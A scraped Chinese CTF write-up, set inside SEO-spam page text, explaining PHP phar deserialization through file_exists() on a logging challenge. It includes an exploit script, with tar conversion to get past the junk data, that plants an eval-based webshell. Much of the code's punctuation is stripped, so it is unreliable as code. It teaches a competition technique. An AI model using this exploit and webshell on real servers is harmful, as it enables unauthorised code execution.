当前位置: 首页 > news >正文

鲜花商城网站建设网站设计工具更好的做网站

鲜花商城网站建设,网站设计工具更好的做网站,图书馆网站建设需求分许,武进网站制作公司昨天的比赛#xff0c;14.00-17.00.时间有点紧张#xff0c;比赛期间没拿下来这道 #x1f62d;非常痛苦#xff0c;很顺畅的思路 一步步想下来#xff0c;卡在最后一步末尾脏数据处理了#xff0c;最后时间到了 没打通#xff0c;还需多练 这里本地复现一下#xff1…昨天的比赛14.00-17.00.时间有点紧张比赛期间没拿下来这道 非常痛苦很顺畅的思路 一步步想下来卡在最后一步末尾脏数据处理了最后时间到了 没打通还需多练 这里本地复现一下 看一下附件里的 logger.php ?php error_reporting(0); class Logger{private $filename;private $content;private $endContent;function __construct($filename,$endContent){$this-filename $filename;$this-endContent $endContent;}function info($content){!file_exists(dirname($this-filename)) ? mkdir(dirname($this-filename)) : ;$content Type:INFO Messsage:$content;$file fopen($this-filename,a);fwrite($file,$content);fclose($file);}function __destruct(){$this-info($this-endContent);} }$time time(); $logger new Logger(log/info.log,Close at $time); $fileName $_POST[file]; $userName $_POST[name] ?? nothing; if (file_exists($fileName)){echo File exists;$logger-info($userName); }else{echo File does not exist;$logger-info($userName); } ?审一下大题就是 POST传入file和name参数执行file_exists($fileName) 不管是否存在都会执行 $logger-info($userName);  logger::info()函数功能为 往 $this-filename里 fopen($filename,a) 写入传入的name参数的内容。 也就是往 log/info.log里。 然后函数执行完毕对象销毁的时候执行一次 __destruct()函数再往log/info.log 写入 Close at $time 由于不存在反序列化函数unserialize(), 因此这个$logger这个对象里 $this-name 是不可控的就是 log/info.log $logger new Logger(log/info.log,Close at $time); 但是 file_exists()会触发phar反序列化同时结合上面 我们可以写入 log/info.log文件那我们是不是可以通过 post name参数post 一个我们构造好的phar文件内容写入到 log/info.log文件里。由于phar:// 协议可以解析其他后缀(主要是看文件内容不看后缀) 因此我们再次通过file_exists()去触发 phar反序列化触发__destruct()从而 通过 构造好的序列化meta数据 $this-filename, $this-endContent 往filename 写入我们要执行的命令() 原理是这样没错。 但是 你看看log/info.log里的东西 payload为我们phar文件内容但是很明显info.log并不是纯正的phar文件里面有脏东西的 由于签名部分的存在php会校验文件哈希值并检查末尾是否为GBMB如下是解析部分的源码  phar文件的格式签名 不允许他前后有东西解析不了 这怎么办 这里涉及到了脏数据的处理解决方法 (1) 绕过前面的脏数据 这里我们可以看到它前面会给我们加上Type:INFO Messsage:phar文件是有签名标准的签名多了这么一段 会使得签名无效。但是这个是很容易绕过的这个就比较类似于 之前phar题里的一种图片头绕过前面需要是GIF89a 。我们只需要在生成phar文件时 setStub 代码里改成 $phar new Phar(poc.phar); //文件名 $phar-startBuffering(); /* 设置stub必须要以__HALT_COMPILER(); ?结尾 */ $phar-setStub(Type:INFO Messsage:.?php __HALT_COMPILER(); ?); /* 设置自定义的metadata序列化存储解析时会被反序列化 */ $phar-setMetaData($c); /* 添加要压缩的文件 */ $phar-addFromString(test1.txt,test1); //签名自动计算 $phar-stopBuffering(); 这样在生成文件的时候会自动前面好因此这个是非常好绕过的。我们来010editor里看一下生成的phar文件里是什么 可以看到前面加上了 Type:INFO Messsage:。 回到这道题我们可以在这样生成phar文件之后由于题目往log/info.log文件里写内容时会自己加上Type:INFO Messsage:因此我们只需要给 name传构造好的phar文件里Type:INFO Messsage: 后面的文件内容(url编码一下) 就可以解决前面脏数据对phar文件解析的影响 但是在文件执行完对象销毁的时候他还会往log/info.log 里写进其他的东西md 后面又多了一段脏数据 Type:INFO Messsage:Close at 1677925012   当时就卡这里了 (2) 通过 tar 绕过phar后面的脏数据 phar文件如果末尾不是GBMB会直接导致解析失败。我们知道一句话木马由于有?php ?这样的头尾标识存在可以无视前后脏数据然而对于phar这样的骚操作被签名部分阻止了 那这个没法绕过吗 可以的 。 利用convertToExecutable函数我们可以把phar文件转为其他格式的phar文件例如.tar和.zip格式 如果以 tar文件格式储存phar会使得它不会受后面数据的影响这是tar的格式决定的 当然不止有tar还有其他格式对应的转化代码 ?php $phar $phar-convertToExecutable(Phar::TAR,Phar::BZ2);//会生成xxxx.phar.tar.bz2 $phar $phar-convertToExecutable(Phar::TAR,Phar::GZ);//会生成xxxx.phar.tar.gz $phar $phar-convertToExecutable(Phar::ZIP);//会生成xxxx.phar.zip 这里注意就是 $phar $phar-convertToExecutable(Phar::TAR); //会生成*.phar.tar** $phar-startBuffering(); $phar-addFromString(Type:INFO Messsage:,); //tar文件开头是第一个添加文件的的文件名注意添加的文件顺序不要错了$phar-setStub(Type:INFO Messsage:.?php __HALT_COMPILER(); ?); //设置stub$phar-setMetadata($test); //将自定义的meta-data存入manifest//签名自动计算 $phar-stopBuffering(); exp如下 ?php unlink(a.phar.tar); class Logger{private $filename /var/www/html/shell.php;private $endContent ?php eval($_POST[shell]);?; } $log Type:INFO Messsage:; $log_len strlen($log);$phar new Phar(a.phar); //后缀名必须为phar $phar $phar-convertToExecutable(Phar::TAR); //会生成*.phar.tar**$phar-startBuffering();$phar-addFromString(Type:INFO Messsage:,); //tar文件开头是第一个添加文件的的文件名注意添加的文件顺序不要错了 $phar-setStub(Type:INFO Messsage:.?php __HALT_COMPILER(); ?); //设置stub$test new Logger(); $phar-setMetadata($test); //将自定义的meta-data存入manifest//签名自动计算 $phar-stopBuffering();$exp file_get_contents(./a.phar.tar); $post_exp substr($exp, $log_len); echo rawurlencode($post_exp); //urlencode输出数据流 生成exp后 先post nameexpfileaa 然后post namefilephar://./log/info.log去触发phar反序列化 成功写入shell.php  参考https://www.cnblogs.com/yyy2015c01/p/phar-deserialization.html
http://www.dnsts.com.cn/news/71161.html

相关文章:

  • 网站怎么做自营销免费的行情网站推荐大全
  • 网站开发程序用什么好两学一做网站
  • 最优秀的佛山网站建设网站建设有什么意义
  • 远洋国际一期官方网站建设企业年报网上申报流程
  • 哪里需要人做钓鱼网站北京现在可以自由出入吗
  • 太原网站建设方案优化wordpress积分 充值
  • 织梦cms 做视频网站月夜直播在线看免费
  • 金华网站制作系统医院网站建设趋势
  • 用dw做的网站怎么上线教学系统设计 网站开发
  • 杭州网站建设 双收网络公司网站做的不错的
  • 铭坐网站建设绍兴网站建设解决方案
  • 朝阳网站seo立方米网站
  • 网站开发页面设计报告俄罗斯最新消息
  • 南宁如何做百度的网站南昌seo推广方式
  • 灰色词网站seo台州网站制作费用
  • 房地产行业网站开发用英文字母做网站关键词
  • 怎么提高网站响应速度html网站怎么做的
  • 江西住建云网站服装商店的网站建设要求
  • 正在备案怎么建网站安庆网站开发人员
  • 中山 网站建设开发沈阳做网站好的
  • php是怎么设计网站的芜湖公司网站建设
  • 关于网站制作seo如何建立优化网站
  • 哪个网站做浏览器主页好wordpress 导航 主题
  • 做电影网站程序好用吗龙华网页设计公司网站
  • 学校网站建设的重要意义建网站服务器系统
  • 免费的asp网站手机软件用什么开发
  • 天津网站制作公司电话wordpress 禁止过滤
  • iis配置网站分销商城源码
  • 东莞网站外包贷款织梦网站模版
  • 谷城县城乡建设局网站wordpress网页视频